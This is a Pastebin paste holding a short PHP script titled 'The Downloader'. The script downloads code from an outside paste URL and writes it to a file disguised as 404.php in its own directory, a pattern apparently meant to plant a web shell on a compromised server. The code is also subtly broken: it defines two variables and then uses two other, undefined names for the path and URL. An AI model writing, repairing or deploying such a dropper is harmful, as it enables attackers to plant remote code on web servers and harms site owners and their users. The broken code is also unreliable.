Advertisement
willysec_id

The Downloader

Jul 6th, 2025
443
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.44 KB | Cybersecurity | 0 0
  1. <?php
  2. //The Downloader
  3. $fn = __DIR__.'/404.php';
  4. $fu = 'https://pastebin.com/raw/pH14WLTs';
  5. if (!file_exists($filePath) || filesize($filePath) == 0) {
  6.     if (function_exists('curl_version')) {
  7.         $ch = curl_init($fileUrl);
  8.         $fp = fopen($filePath, 'w');
  9.         curl_setopt($ch, CURLOPT_FILE, $fp);
  10.         curl_exec($ch);
  11.         curl_close($ch);
  12.         fclose($fp);
  13.     } else {
  14.         copy($fileUrl, $filePath);
  15.     }
  16. }
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement